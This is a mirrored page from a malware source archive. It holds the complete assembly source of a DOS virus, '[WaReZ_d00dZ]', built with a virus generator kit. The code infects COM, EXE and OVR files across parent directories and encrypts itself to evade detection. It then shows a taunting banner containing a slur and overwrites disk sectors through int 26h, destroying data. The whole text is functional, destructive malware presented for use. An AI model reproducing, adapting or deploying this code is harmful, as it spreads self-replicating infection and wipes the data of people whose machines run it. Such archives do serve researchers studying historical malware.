mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
682 lines
22 KiB
NASM
682 lines
22 KiB
NASM
|
; PX.ASM : [WaReZ_d00dZ] by [pAgE]
|
||
|
|
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||
|
|
; from the configuration file skeleton.cfg
|
||
|
|
|
||
|
|
.model tiny ; Handy directive
|
||
|
|
.code ; Virus code segment
|
||
|
|
org 100h ; COM file starting IP
|
||
|
|
idi = 'FB'
|
||
|
|
id = 'ZP' ; ID word for EXE infections
|
||
|
|
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||
|
|
|
||
|
|
decrypt: ; handles encryption and decryption
|
||
|
|
patch_startencrypt:
|
||
|
|
mov di,offset startencrypt ; start of decryption
|
||
|
|
mov cx,(offset heap - offset startencrypt)/2 ; iterations
|
||
|
|
decrypt_loop:
|
||
|
|
db 2eh,81h,05h ; add word ptr cs:[di], xxxx
|
||
|
|
decrypt_value dw 0 ; initialised at zero for null effect
|
||
|
|
inc di ; calculate new decryption location
|
||
|
|
inc di
|
||
|
|
loop decrypt_loop ; decrypt mo'
|
||
|
|
startencrypt:
|
||
|
|
call next ; calculate delta offset
|
||
|
|
next: pop bp ; bp = IP next
|
||
|
|
sub bp,offset next ; bp = delta offset
|
||
|
|
|
||
|
|
cmp sp,id ; COM or EXE?
|
||
|
|
je restoreEXE
|
||
|
|
cmp sp,idi ; COM or EXE?
|
||
|
|
je restoreOVR
|
||
|
|
|
||
|
|
restoreCOM:
|
||
|
|
lea si,[bp+save3]
|
||
|
|
mov di,100h
|
||
|
|
push di ; For later return
|
||
|
|
movsb
|
||
|
|
jmp short restoreEXIT
|
||
|
|
restoreEXE:
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
push cs ; DS = CS
|
||
|
|
pop ds
|
||
|
|
push cs ; ES = CS
|
||
|
|
pop es
|
||
|
|
lea si,[bp+jmpsave2]
|
||
|
|
lea di,[bp+jmpsave]
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
restoreOVR:
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
push cs ; DS = CS
|
||
|
|
pop ds
|
||
|
|
push cs ; ES = CS
|
||
|
|
pop es
|
||
|
|
lea si,[bp+jmpsave2]
|
||
|
|
lea di,[bp+jmpsave]
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
restoreEXIT:
|
||
|
|
movsw
|
||
|
|
|
||
|
|
mov byte ptr [bp+numinfec],50; reset infection counter
|
||
|
|
|
||
|
|
mov ah,1Ah ; Set new DTA
|
||
|
|
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,47h ; Get current directory
|
||
|
|
mov dl,0 ; Current drive
|
||
|
|
lea si,[bp+origdir] ; DS:SI->buffer
|
||
|
|
int 21h
|
||
|
|
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||
|
|
|
||
|
|
mov ax,3524h ; Get int 24 handler
|
||
|
|
int 21h ; to ES:BX
|
||
|
|
mov word ptr [bp+oldint24],bx; Save it
|
||
|
|
mov word ptr [bp+oldint24+2],es
|
||
|
|
mov ah,25h ; Set new int 24 handler
|
||
|
|
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||
|
|
int 21h
|
||
|
|
push cs ; Restore ES
|
||
|
|
pop es ; 'cuz it was changed
|
||
|
|
|
||
|
|
dir_scan: ; "dot dot" traversal
|
||
|
|
|
||
|
|
lea dx,[bp+ovr_mask]
|
||
|
|
call infect_mask
|
||
|
|
lea dx,[bp+exe_mask]
|
||
|
|
call infect_mask
|
||
|
|
lea dx,[bp+com_mask]
|
||
|
|
call infect_mask
|
||
|
|
mov ah,3bh ; change directory
|
||
|
|
lea dx,[bp+dot_dot] ; "cd .."
|
||
|
|
int 21h
|
||
|
|
jnc dir_scan ; go back for mo!
|
||
|
|
|
||
|
|
done_infections:
|
||
|
|
mov ah,2ah ; Get current date
|
||
|
|
int 21h
|
||
|
|
cmp dh,1 ; Check month
|
||
|
|
jb exit_virus
|
||
|
|
cmp cx,1992 ; Check year
|
||
|
|
jb exit_virus
|
||
|
|
cmp al,0 ; Check date of week
|
||
|
|
jae activate
|
||
|
|
|
||
|
|
exit_virus:
|
||
|
|
mov ax,2524h ; Restore int 24 handler
|
||
|
|
lds dx,[bp+offset oldint24] ; to original
|
||
|
|
int 21h
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
|
||
|
|
mov ah,3bh ; change directory
|
||
|
|
lea dx,[bp+origdir-1] ; original directory
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,1ah ; restore DTA to default
|
||
|
|
mov dx,80h ; DTA in PSP
|
||
|
|
cmp sp,id-4 ; EXE or COM?
|
||
|
|
jz returnEXE
|
||
|
|
returnCOM:
|
||
|
|
int 27h
|
||
|
|
retn ; 100h is on stack
|
||
|
|
returnEXE:
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
int 21h
|
||
|
|
mov ax,es ; AX = PSP segment
|
||
|
|
add ax,10h ; Adjust for PSP
|
||
|
|
add word ptr cs:[bp+jmpsave+2],ax
|
||
|
|
add ax,word ptr cs:[bp+stacksave+2]
|
||
|
|
cli ; Clear intrpts for stack manipulation
|
||
|
|
mov sp,word ptr cs:[bp+stacksave]
|
||
|
|
mov ss,ax
|
||
|
|
sti
|
||
|
|
returnOVR:
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
int 21h
|
||
|
|
mov ax,es ; AX = PSP segment
|
||
|
|
add ax,10h ; Adjust for PSP
|
||
|
|
add word ptr cs:[bp+jmpsave+2],ax
|
||
|
|
add ax,word ptr cs:[bp+stacksave+2]
|
||
|
|
cli ; Clear intrpts for stack manipulation
|
||
|
|
mov sp,word ptr cs:[bp+stacksave]
|
||
|
|
mov ss,ax
|
||
|
|
sti
|
||
|
|
db 0eah ; jmp ssss:oooo
|
||
|
|
jmpsave dd ? ; Original CS:IP
|
||
|
|
stacksave dd ? ; Original SS:SP
|
||
|
|
jmpsave2 db ? ; Actually four bytes
|
||
|
|
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||
|
|
stacksave2 dd ?
|
||
|
|
|
||
|
|
activate proc far
|
||
|
|
|
||
|
|
start:
|
||
|
|
jmp short loc_1
|
||
|
|
db 90h
|
||
|
|
data_2 db 0
|
||
|
|
data_3 dw 2B1h
|
||
|
|
db 2
|
||
|
|
data_4 dw 0
|
||
|
|
db 'HEY!!! Blow ME, WaReZ FAGGOT'
|
||
|
|
db 1Ah
|
||
|
|
data_5 db 'You got sorta lucky!!!', 0Dh, 0Ah
|
||
|
|
db '$'
|
||
|
|
loc_1:
|
||
|
|
mov ah,0Fh
|
||
|
|
int 010h
|
||
|
|
xor ah,ah
|
||
|
|
int 010h
|
||
|
|
mov ax,0002h
|
||
|
|
mov cx,0100h
|
||
|
|
mov ah,0Fh
|
||
|
|
int 10h ; Video display ah=functn 0Fh
|
||
|
|
; get state, al=mode, bh=page
|
||
|
|
; ah=columns on screen
|
||
|
|
mov bx,0B800h
|
||
|
|
cmp al,2
|
||
|
|
je loc_2 ; Jump if equal
|
||
|
|
cmp al,3
|
||
|
|
je loc_2 ; Jump if equal
|
||
|
|
mov data_2,0
|
||
|
|
mov bx,0B000h
|
||
|
|
cmp al,7
|
||
|
|
je loc_2 ; Jump if equal
|
||
|
|
mov dx,offset data_5 ; ('Unsupported Video Mode')
|
||
|
|
mov ah,9
|
||
|
|
int 21h ; DOS Services ah=function 09h
|
||
|
|
; display char string at ds:dx
|
||
|
|
retn
|
||
|
|
loc_2:
|
||
|
|
mov es,bx
|
||
|
|
mov di,data_4
|
||
|
|
mov si,offset data_6
|
||
|
|
mov dx,3DAh
|
||
|
|
mov bl,9
|
||
|
|
mov cx,data_3
|
||
|
|
cld ; Clear direction
|
||
|
|
xor ax,ax ; Zero register
|
||
|
|
|
||
|
|
locloop_4:
|
||
|
|
lodsb ; String [si] to al
|
||
|
|
cmp al,1Bh
|
||
|
|
jne loc_5 ; Jump if not equal
|
||
|
|
xor ah,80h
|
||
|
|
jmp short loc_20
|
||
|
|
loc_5:
|
||
|
|
cmp al,10h
|
||
|
|
jae loc_8 ; Jump if above or =
|
||
|
|
and ah,0F0h
|
||
|
|
or ah,al
|
||
|
|
jmp short loc_20
|
||
|
|
loc_8:
|
||
|
|
cmp al,18h
|
||
|
|
je loc_11 ; Jump if equal
|
||
|
|
jnc loc_12 ; Jump if carry=0
|
||
|
|
sub al,10h
|
||
|
|
add al,al
|
||
|
|
add al,al
|
||
|
|
add al,al
|
||
|
|
add al,al
|
||
|
|
and ah,8Fh
|
||
|
|
or ah,al
|
||
|
|
jmp short loc_20
|
||
|
|
loc_11:
|
||
|
|
mov di,data_4
|
||
|
|
add di,data_1e
|
||
|
|
mov data_4,di
|
||
|
|
jmp short loc_20
|
||
|
|
loc_12:
|
||
|
|
mov bp,cx
|
||
|
|
mov cx,1
|
||
|
|
cmp al,19h
|
||
|
|
jne loc_13 ; Jump if not equal
|
||
|
|
lodsb ; String [si] to al
|
||
|
|
mov cl,al
|
||
|
|
mov al,20h ; ' '
|
||
|
|
dec bp
|
||
|
|
jmp short loc_14
|
||
|
|
loc_13:
|
||
|
|
cmp al,1Ah
|
||
|
|
jne loc_15 ; Jump if not equal
|
||
|
|
lodsb ; String [si] to al
|
||
|
|
dec bp
|
||
|
|
mov cl,al
|
||
|
|
lodsb ; String [si] to al
|
||
|
|
dec bp
|
||
|
|
loc_14:
|
||
|
|
inc cx
|
||
|
|
loc_15:
|
||
|
|
cmp data_2,0
|
||
|
|
je loc_18 ; Jump if equal
|
||
|
|
mov bh,al
|
||
|
|
|
||
|
|
locloop_16:
|
||
|
|
in al,dx ; port 3DAh, CGA/EGA vid status
|
||
|
|
rcr al,1 ; Rotate thru carry
|
||
|
|
jc locloop_16 ; Jump if carry Set
|
||
|
|
loc_17:
|
||
|
|
in al,dx ; port 3DAh, CGA/EGA vid status
|
||
|
|
and al,bl
|
||
|
|
jnz loc_17 ; Jump if not zero
|
||
|
|
mov al,bh
|
||
|
|
stosw ; Store ax to es:[di]
|
||
|
|
loop locloop_16 ; Loop if cx > 0
|
||
|
|
|
||
|
|
jmp short loc_19
|
||
|
|
loc_18:
|
||
|
|
rep stosw ; Rep when cx >0 Store ax to es:[di]
|
||
|
|
loc_19:
|
||
|
|
mov cx,bp
|
||
|
|
loc_20:
|
||
|
|
jcxz loc_ret_21 ; Jump if cx=0
|
||
|
|
loop locloop_4 ; Loop if cx > 0
|
||
|
|
|
||
|
|
|
||
|
|
loc_ret_21:
|
||
|
|
|
||
|
|
push dx
|
||
|
|
mov al,002h
|
||
|
|
mov cx,030h
|
||
|
|
cli
|
||
|
|
cwd
|
||
|
|
int 026h
|
||
|
|
pop dx
|
||
|
|
mov ax,04C00h
|
||
|
|
int 021h
|
||
|
|
|
||
|
|
activate endp
|
||
|
|
jmp exit_virus
|
||
|
|
|
||
|
|
creator db '[MPC]',0 ; Mass Produced Code Generator
|
||
|
|
virusname db '[WaReZ_d00dZ]',0
|
||
|
|
author db '[pAgE]',0
|
||
|
|
|
||
|
|
infect_mask:
|
||
|
|
mov ah,4eh ; find first file
|
||
|
|
mov cx,7 ; any attribute
|
||
|
|
findfirstnext:
|
||
|
|
int 21h ; DS:DX points to mask
|
||
|
|
jc exit_infect_mask ; No mo files found
|
||
|
|
|
||
|
|
mov al,0h ; Open read only
|
||
|
|
call open
|
||
|
|
|
||
|
|
mov ah,3fh ; Read file to buffer
|
||
|
|
lea dx,[bp+buffer] ; @ DS:DX
|
||
|
|
mov cx,1Ah ; 1Ah bytes
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3eh ; Close file
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||
|
|
jz checkEXE ; Why yes, yes it is!
|
||
|
|
cmp word ptr [bp+buffer],'FB'; EXE?
|
||
|
|
jz checkOVR ; Why yes, yes it is!
|
||
|
|
checkCOM:
|
||
|
|
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||
|
|
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||
|
|
add bx,heap-decrypt+3 ; Adjust for virus size
|
||
|
|
cmp ax,bx
|
||
|
|
je find_next ; already infected
|
||
|
|
jmp infect_com
|
||
|
|
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||
|
|
jnz infect_exe
|
||
|
|
checkOVR: cmp word ptr [bp+buffer+10h],idi ; is it already infected?
|
||
|
|
jnz infect_ovr
|
||
|
|
find_next:
|
||
|
|
mov ah,4fh ; find next file
|
||
|
|
jmp short findfirstnext
|
||
|
|
exit_infect_mask: ret
|
||
|
|
|
||
|
|
infect_exe:
|
||
|
|
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||
|
|
mov word ptr [bp+jmpsave2], ax
|
||
|
|
mov word ptr [bp+jmpsave2+2], es
|
||
|
|
|
||
|
|
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||
|
|
mov word ptr [bp+stacksave2], es
|
||
|
|
mov word ptr [bp+stacksave2+2], ax
|
||
|
|
|
||
|
|
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||
|
|
mov cl, 4 ; convert to bytes
|
||
|
|
shl ax, cl
|
||
|
|
xchg ax, bx
|
||
|
|
|
||
|
|
les ax, [bp+offset newDTA+26]; Get file size
|
||
|
|
mov dx, es ; to DX:AX
|
||
|
|
push ax
|
||
|
|
push dx
|
||
|
|
|
||
|
|
sub ax, bx ; Subtract header size from
|
||
|
|
sbb dx, 0 ; file size
|
||
|
|
|
||
|
|
mov cx, 10h ; Convert to segment:offset
|
||
|
|
div cx ; form
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||
|
|
mov word ptr [bp+buffer+16h], ax
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||
|
|
mov word ptr [bp+buffer+10h], id
|
||
|
|
|
||
|
|
pop dx ; get file length
|
||
|
|
pop ax
|
||
|
|
|
||
|
|
add ax, heap-decrypt ; add virus size
|
||
|
|
adc dx, 0
|
||
|
|
|
||
|
|
mov cl, 9
|
||
|
|
push ax
|
||
|
|
shr ax, cl
|
||
|
|
ror dx, cl
|
||
|
|
stc
|
||
|
|
adc dx, ax
|
||
|
|
pop ax
|
||
|
|
and ah, 1 ; mod 512
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+4], dx ; new file size
|
||
|
|
mov word ptr [bp+buffer+2], ax
|
||
|
|
|
||
|
|
push cs ; restore ES
|
||
|
|
pop es
|
||
|
|
|
||
|
|
push word ptr [bp+buffer+14h] ; needed later
|
||
|
|
mov cx, 1ah
|
||
|
|
jmp finishinfection
|
||
|
|
infect_ovr:
|
||
|
|
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||
|
|
mov word ptr [bp+jmpsave2], ax
|
||
|
|
mov word ptr [bp+jmpsave2+2], es
|
||
|
|
|
||
|
|
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||
|
|
mov word ptr [bp+stacksave2], es
|
||
|
|
mov word ptr [bp+stacksave2+2], ax
|
||
|
|
|
||
|
|
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||
|
|
mov cl, 4 ; convert to bytes
|
||
|
|
shl ax, cl
|
||
|
|
xchg ax, bx
|
||
|
|
|
||
|
|
les ax, [bp+offset newDTA+26]; Get file size
|
||
|
|
mov dx, es ; to DX:AX
|
||
|
|
push ax
|
||
|
|
push dx
|
||
|
|
|
||
|
|
sub ax, bx ; Subtract header size from
|
||
|
|
sbb dx, 0 ; file size
|
||
|
|
|
||
|
|
mov cx, 10h ; Convert to segment:offset
|
||
|
|
div cx ; form
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||
|
|
mov word ptr [bp+buffer+16h], ax
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||
|
|
mov word ptr [bp+buffer+10h],idi
|
||
|
|
|
||
|
|
pop dx ; get file length
|
||
|
|
pop ax
|
||
|
|
|
||
|
|
add ax, heap-decrypt ; add virus size
|
||
|
|
adc dx, 0
|
||
|
|
|
||
|
|
mov cl, 9
|
||
|
|
push ax
|
||
|
|
shr ax, cl
|
||
|
|
ror dx, cl
|
||
|
|
stc
|
||
|
|
adc dx, ax
|
||
|
|
pop ax
|
||
|
|
and ah, 1 ; mod 512
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+4], dx ; new file size
|
||
|
|
mov word ptr [bp+buffer+2], ax
|
||
|
|
|
||
|
|
push cs ; restore ES
|
||
|
|
pop es
|
||
|
|
|
||
|
|
push word ptr [bp+buffer+14h] ; needed later
|
||
|
|
mov cx, 1ah
|
||
|
|
jmp short finishinfection
|
||
|
|
infect_com: ; ax = filesize
|
||
|
|
mov cx,3
|
||
|
|
sub ax,cx
|
||
|
|
lea si,[bp+offset buffer]
|
||
|
|
lea di,[bp+offset save3]
|
||
|
|
movsw
|
||
|
|
movsb
|
||
|
|
mov byte ptr [si-3],0e9h
|
||
|
|
mov word ptr [si-2],ax
|
||
|
|
add ax,103h
|
||
|
|
push ax ; needed later
|
||
|
|
finishinfection:
|
||
|
|
push cx ; Save # bytes to write
|
||
|
|
xor cx,cx ; Clear attributes
|
||
|
|
call attributes ; Set file attributes
|
||
|
|
|
||
|
|
mov al,2
|
||
|
|
call open
|
||
|
|
|
||
|
|
mov ah,40h ; Write to file
|
||
|
|
lea dx,[bp+buffer] ; Write from buffer
|
||
|
|
pop cx ; cx bytes
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ax,4202h ; Move file pointer
|
||
|
|
xor cx,cx ; to end of file
|
||
|
|
cwd ; xor dx,dx
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,2ch ; Get current time
|
||
|
|
int 21h ; dh=sec,dl=1/100 sec
|
||
|
|
mov [bp+decrypt_value],dx ; Set new encryption value
|
||
|
|
lea di,[bp+code_store]
|
||
|
|
mov ax,5355h ; push bp,push bx
|
||
|
|
stosw
|
||
|
|
lea si,[bp+decrypt] ; Copy encryption function
|
||
|
|
mov cx,startencrypt-decrypt ; Bytes to move
|
||
|
|
push si ; Save for later use
|
||
|
|
push cx
|
||
|
|
rep movsb
|
||
|
|
|
||
|
|
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||
|
|
|
||
|
|
lea si,[bp+write] ; Copy writing function
|
||
|
|
mov cx,endwrite-write ; Bytes to move
|
||
|
|
rep movsb
|
||
|
|
pop cx
|
||
|
|
pop si
|
||
|
|
pop dx ; Entry point of virus
|
||
|
|
push di
|
||
|
|
push si
|
||
|
|
push cx
|
||
|
|
rep movsb ; Copy decryption function
|
||
|
|
mov ax,5b5dh ; pop bx,pop bp
|
||
|
|
stosw
|
||
|
|
mov al,0c3h ; retn
|
||
|
|
stosb
|
||
|
|
|
||
|
|
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||
|
|
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||
|
|
call code_store ; decryption
|
||
|
|
pop cx
|
||
|
|
pop di
|
||
|
|
pop si
|
||
|
|
rep movsb ; Restore decryption function
|
||
|
|
|
||
|
|
mov ax,5701h ; Restore creation date/time
|
||
|
|
mov cx,word ptr [bp+newDTA+16h] ; time
|
||
|
|
mov dx,word ptr [bp+newDTA+18h] ; date
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3eh ; Close file
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ch,0
|
||
|
|
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||
|
|
call attributes ; attributes
|
||
|
|
|
||
|
|
dec byte ptr [bp+numinfec] ; One mo infection
|
||
|
|
jnz mo_infections ; Not enough
|
||
|
|
pop ax ; remove call from stack
|
||
|
|
jmp done_infections
|
||
|
|
mo_infections: jmp find_next
|
||
|
|
|
||
|
|
open:
|
||
|
|
mov ah,3dh
|
||
|
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
||
|
|
int 21h
|
||
|
|
xchg ax,bx
|
||
|
|
ret
|
||
|
|
|
||
|
|
attributes:
|
||
|
|
mov ax,4301h ; Set attributes to cx
|
||
|
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
||
|
|
int 21h
|
||
|
|
ret
|
||
|
|
|
||
|
|
write:
|
||
|
|
pop bx ; Restore file handle
|
||
|
|
pop bp ; Restore relativeness
|
||
|
|
mov ah,40h ; Write to file
|
||
|
|
lea dx,[bp+decrypt] ; Concatenate virus
|
||
|
|
mov cx,heap-decrypt ; # bytes to write
|
||
|
|
int 21h
|
||
|
|
push bx
|
||
|
|
push bp
|
||
|
|
endwrite:
|
||
|
|
|
||
|
|
int24: ; New int 24h (error) handler
|
||
|
|
mov al,3 ; Fail call
|
||
|
|
iret ; Return control
|
||
|
|
data_6 db 9
|
||
|
|
db 10h,0D2h,0C4h,0C4h,0BFh, 20h
|
||
|
|
db 0D6h,0C4h,0C4h,0BFh, 20h,0D6h
|
||
|
|
db 0C4h,0C4h,0BFh, 20h,0B7h
|
||
|
|
db 20h ; Data table (indexed access)
|
||
|
|
db 0D6h,0C4h,0D2h,0C4h,0BFh, 19h
|
||
|
|
db 03h,0D2h, 20h, 20h,0C2h, 20h
|
||
|
|
db 0D6h,0C4h,0C4h,0BFh, 20h,0D2h
|
||
|
|
db 20h, 20h,0C2h, 19h
|
||
|
|
dd 0DA20D203h ; Data table (indexed access)
|
||
|
|
db 20h, 20h,0D6h,0C4h,0C4h,0BFh
|
||
|
|
db 20h,0D6h,0C4h,0C4h,0BFh, 20h
|
||
|
|
db 0D2h, 20h,0D2h, 20h,0C2h, 20h
|
||
|
|
db 20h, 18h,0BAh, 20h, 20h,0B3h
|
||
|
|
db 20h,0BAh, 20h, 20h,0B3h, 20h
|
||
|
|
db 0BAh, 20h, 20h,0B3h, 20h,0BDh
|
||
|
|
db 19h, 02h,0BAh, 19h, 05h,0D3h
|
||
|
|
db 0C4h,0C4h,0B4h, 20h,0BAh, 20h
|
||
|
|
db 20h,0B3h, 20h,0BAh, 20h, 20h
|
||
|
|
db 0B3h, 19h, 03h,0C7h,0C4h,0C1h
|
||
|
|
db 0BFh, 20h,0BAh, 20h, 20h,0B3h
|
||
|
|
db 20h,0BAh, 20h, 20h,0B3h, 20h
|
||
|
|
db 0BAh, 20h,0BAh, 20h,0B3h, 20h
|
||
|
|
db 20h, 18h,0D0h,0C4h,0C4h,0D9h
|
||
|
|
db 20h,0D3h,0C4h,0C4h,0D9h, 20h
|
||
|
|
db 0D0h, 20h, 20h,0C1h, 19h, 04h
|
||
|
|
db 0D0h, 19h, 05h,0D3h,0C4h,0C4h
|
||
|
|
db 0D9h, 20h,0D3h,0C4h,0C4h,0D9h
|
||
|
|
db 20h,0D3h,0C4h,0C4h,0D9h, 19h
|
||
|
|
db 03h,0D0h, 20h, 20h,0C1h, 20h
|
||
|
|
db 0D0h, 20h, 20h,0C1h, 20h,0D3h
|
||
|
|
db 0C4h,0C4h,0D9h, 20h,0D3h,0C4h
|
||
|
|
db 0D0h,0C4h,0D9h, 20h, 20h, 18h
|
||
|
|
db 19h, 41h, 18h,0D6h,0C4h,0D2h
|
||
|
|
db 0C4h,0BFh, 20h,0D2h, 20h, 20h
|
||
|
|
db 0C2h, 20h,0D6h,0C4h,0C4h,0BFh
|
||
|
|
db 20h,0D6h,0C4h,0D2h,0C4h,0BFh
|
||
|
|
db 19h, 03h,0D2h,0C4h,0C4h,0BFh
|
||
|
|
db 20h,0C4h,0D2h,0C4h, 20h,0D2h
|
||
|
|
db 0C4h,0C4h,0BFh, 20h,0D6h,0C4h
|
||
|
|
db 0C4h,0BFh, 20h,0D6h,0C4h,0C4h
|
||
|
|
db 0BFh, 20h,0D2h, 20h, 20h,0C2h
|
||
|
|
db 19h, 02h,0C4h,0D2h,0C4h, 20h
|
||
|
|
db 20h,0D6h,0C4h,0BFh, 20h, 20h
|
||
|
|
db 18h, 20h, 20h,0BAh, 19h, 02h
|
||
|
|
db 0C7h,0C4h,0C4h,0B4h, 20h,0C7h
|
||
|
|
db 0C4h,0C4h,0B4h, 19h, 02h,0BAh
|
||
|
|
db 19h, 05h,0C7h,0C4h,0C4h,0D9h
|
||
|
|
db 20h, 20h,0BAh, 20h, 20h,0C7h
|
||
|
|
db 0C4h,0C2h,0D9h, 20h,0C7h,0C4h
|
||
|
|
db 0C4h,0B4h, 20h,0BAh, 19h, 03h
|
||
|
|
db 0D3h,0C4h,0C4h,0B4h, 19h, 03h
|
||
|
|
dd 0D30219BAh ; Data table (indexed access)
|
||
|
|
db 0C4h,0BFh, 20h, 20h, 18h, 20h
|
||
|
|
db 20h,0D0h, 19h, 02h,0D0h, 20h
|
||
|
|
db 20h,0C1h, 20h,0D0h, 20h, 20h
|
||
|
|
db 0C1h, 19h, 02h,0D0h, 19h, 05h
|
||
|
|
db 0D0h, 19h, 03h,0C4h,0D0h,0C4h
|
||
|
|
db 20h,0D0h, 20h,0C1h, 20h, 20h
|
||
|
|
db 0D0h, 20h, 20h,0C1h, 20h,0D3h
|
||
|
|
db 0C4h,0C4h,0D9h, 20h,0D3h,0C4h
|
||
|
|
db 0C4h,0D9h, 19h, 02h,0C4h,0D0h
|
||
|
|
db 0C4h, 20h,0D3h,0C4h,0C4h,0D9h
|
||
|
|
db 20h, 20h, 18h, 19h, 41h, 18h
|
||
|
|
db 19h, 41h, 18h, 19h, 07h, 0Ch
|
||
|
|
db 1Bh,0C4h,0C4h,0D2h,0C4h,0C4h
|
||
|
|
db 20h,0D2h, 19h, 06h,0D2h, 19h
|
||
|
|
db 06h,0D2h, 1Ah, 04h,0C4h,0BFh
|
||
|
|
db 20h,0D6h, 1Ah, 05h,0C4h, 20h
|
||
|
|
db 0D6h, 1Ah, 04h,0C4h,0BFh, 20h
|
||
|
|
db 0D2h, 19h, 0Ah, 18h, 19h, 09h
|
||
|
|
db 0BAh, 19h, 02h,0BAh, 19h, 06h
|
||
|
|
db 0BAh, 19h, 06h,0BAh, 19h, 06h
|
||
|
|
db 0BAh, 19h, 06h,0BAh, 19h, 04h
|
||
|
|
db 0B3h, 20h,0BAh, 19h, 0Ah, 18h
|
||
|
|
db 19h, 09h,0BAh, 19h, 02h,0BAh
|
||
|
|
db 19h, 06h,0BAh, 19h, 06h,0C7h
|
||
|
|
db 0C4h,0C4h, 19h, 04h,0BAh, 19h
|
||
|
|
db 02h,0DAh,0C4h,0BFh, 20h,0C7h
|
||
|
|
db 1Ah, 04h,0C4h,0B4h, 20h,0BAh
|
||
|
|
db 19h, 0Ah, 18h, 19h, 09h,0BAh
|
||
|
|
db 19h, 02h,0BAh, 19h, 06h,0BAh
|
||
|
|
db 19h, 06h,0BAh, 19h, 06h,0BAh
|
||
|
|
db 19h, 04h,0B3h, 20h,0BAh, 19h
|
||
|
|
db 04h,0B3h, 20h,0BAh, 19h, 0Ah
|
||
|
|
db 18h, 19h, 07h,0C4h,0C4h,0D0h
|
||
|
|
db 0C4h,0C4h, 20h,0D0h, 1Ah, 04h
|
||
|
|
db 0C4h,0D9h, 20h,0D0h, 1Ah, 04h
|
||
|
|
db 0C4h,0D9h, 20h,0D0h, 1Ah, 04h
|
||
|
|
db 0C4h,0D9h, 20h,0D3h, 1Ah, 04h
|
||
|
|
db 0C4h,0D9h, 20h,0D0h, 19h, 04h
|
||
|
|
db 0C1h, 20h,0D0h, 1Ah, 04h,0C4h
|
||
|
|
db 0D9h, 19h, 04h, 18h, 19h, 41h
|
||
|
|
db 18h, 19h, 41h, 18h
|
||
|
|
db ' ', 9, 1Bh, 'I am afraid that I'
|
||
|
|
db ' am going to have to smash your '
|
||
|
|
db 'WaReZ, d00d!!!'
|
||
|
|
db 18h, 19h, 41h, 18h, 19h, 41h
|
||
|
|
db 18h
|
||
|
|
db 20h
|
||
|
|
db ' Go ahead! Call the police and t'
|
||
|
|
db 'ell them ', 0Ah, '[NuKe] ', 9, 'p'
|
||
|
|
db 'aid you a visit!'
|
||
|
|
db 18h
|
||
|
|
|
||
|
|
data_1e equ 0A0h
|
||
|
|
exe_mask db '*.exe',0
|
||
|
|
ovr_mask db '*.ovr',0
|
||
|
|
com_mask db '*.com',0
|
||
|
|
dot_dot db '..',0
|
||
|
|
heap: ; Variables not in code
|
||
|
|
; The following code is the buffer for the write function
|
||
|
|
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||
|
|
oldint24 dd ? ; Storage for old int 24h handler
|
||
|
|
backslash db ?
|
||
|
|
origdir db 64 dup (?) ; Current directory buffer
|
||
|
|
newDTA db 43 dup (?) ; Temporary DTA
|
||
|
|
numinfec db ? ; Infections this run
|
||
|
|
buffer db 1ah dup (?) ; read buffer
|
||
|
|
endheap: ; End of virus
|
||
|
|
end entry_point
|